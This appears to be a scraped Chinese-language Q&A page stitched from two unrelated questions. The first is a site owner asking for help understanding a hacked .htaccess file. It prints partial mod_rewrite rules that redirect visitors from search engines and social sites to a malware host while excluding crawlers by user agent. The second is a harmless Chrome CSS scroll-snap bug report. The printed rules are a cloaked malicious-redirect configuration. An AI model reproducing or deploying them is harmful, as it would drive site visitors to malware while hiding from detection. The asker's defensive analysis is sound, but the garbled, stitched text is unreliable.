我们的一个客户端站点已被黑客攻击,并且.htaccess文件已替换为以下内容.
任何人都可以完全分解这是做什么的吗?
根据我的知识,它看起来像是在引用页面,然后是用户代理,它设置了一个名为jpg的cookie,然后将您重定向到siknsty.malicioussite.com,然后尝试下载一些恶意软件,然后再将您引回原始引用网站(所以你的路径是谷歌>恶意软件页>谷歌)
如果设置了jpg cookie,则它不会引用您的任何地方,因为它假定您已经下载了恶意软件.(这可能是错误的 - 我认为它应该引用您重定向的下面列出的页面).
我不确定其余的,或者它是否使用.htaccess将zip文件屏蔽为jpgs(我想我正在阅读它)...
任何人的想法?
此外,任何想法如何在服务器上形成?所有权限都设置为0644,并且在同一帐户下的Windows和Linux服务器上都发生了这种情况.
星期三早上ballache啊.
哦,不要去那个网站.
<IfModule prefork.c>
RewriteEngine On
RewriteCond %{REQUEST_METHOD} ^GET$
RewriteCond %{HTTP_REFERER} ^(http\:\/\/)?([^\/\?]*\.)? (tweet|twit|linkedin|instagram|facebook\.|myspace\.|bebo\.).*$ [NC,OR]
RewriteCond %{HTTP_REFERER} ^(http\:\/\/)?([^\/\?]*\.)?(hi5\.|blogspot\.|friendfeed\.|friendster\.|google\.).*$ [NC,OR]
RewriteCond %{HTTP_REFERER} ^(http\:\/\/)?([^\/\?]*\.)?(yahoo\.|bing\.|msn\.|ask\.|excite\.|altavista\.|netscape\.).*$ [NC,OR]
RewriteCond %{HTTP_REFERER} ^(http\:\/\/)?([^\/\?]*\.)?(aol\.|hotbot\.|goto\.|infoseek\.|mamma\.|alltheweb\.).*$ [NC,OR]
RewriteCond %{HTTP_REFERER} ^(http\:\/\/)?([^\/\?]*\.)?(lycos\.|metacrawler\.|mail\.|pinterest|instagram).*$ [NC]
RewriteCond %{HTTP_REFERER} !^.*(imgres).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(bing|Accoona|Ace\sExplorer|Amfibi|Amiga\sOS|apache|appie|AppleSyndication).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(Archive|Argus|Ask\sJeeves|asterias|Atrenko\sNews|BeOS|BigBlogZoo).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(Biz360|Blaiz|Bloglines|BlogPulse|BlogSearch|BlogsLive|BlogsSay|blogWatcher).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(Bookmark|bot|CE\-Preload|CFNetwork|cococ|Combine|Crawl|curl|Danger\shiptop).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(Diagnostics|DTAAgent|EmeraldShield|endo|Evaal|Everest\-Vulcan).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(exactseek|Feed|Fetch|findlinks|FreeBSD|Friendster|Fuck\sYou|Google).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(Gregarius|HatenaScreenshot|heritrix|HolyCowDude|Honda\-Search|HP\-UX).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(HTML2JPG|HttpClient|httpunit|ichiro|iGetter|IRIX|Jakarta|JetBrains).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(Krugle|Labrador|larbin|LeechGet|libwww|Liferea|LinkChecker).*$ [NC] …Run Code Online (Sandbox Code Playgroud) 尝试确定这是否是 Chrome 或我的代码的错误。使用下面的代码,当我向下滚动时,它会执行我想要的操作,但是当我向上滚动时,它可以让我滚动到我想要的高度,而不会导致主体弹回。我已将滚动捕捉应用到 html,因为它在 Chrome 中不起作用(如果在 body 上)。
演示: http: //manifest.thedevtest.com/scrollsnap/(向上滚动)
代码:
<html>
<head>
<title>Chrome Scroll Snap Issue Demo</title>
<style>
* {
margin: 0;
padding: 0;
}
html {
scroll-snap-type: mandatory;
scroll-snap-points-y: repeat(100vh);
scroll-snap-type: y mandatory;
background: red;
}
section {
height: 100vh;
width: 100vw;
scroll-snap-align: start;
}
.foo {
background-color: green;
}
.bar {
background-color: blue;
}
</style>
</head>
<body>
<section class="foo">
</section>
<section class="bar">
</section>
</body>
</html>
Run Code Online (Sandbox Code Playgroud)
你们能复制这种情况吗?如果是的话,您有什么想法可以防止这种情况发生吗?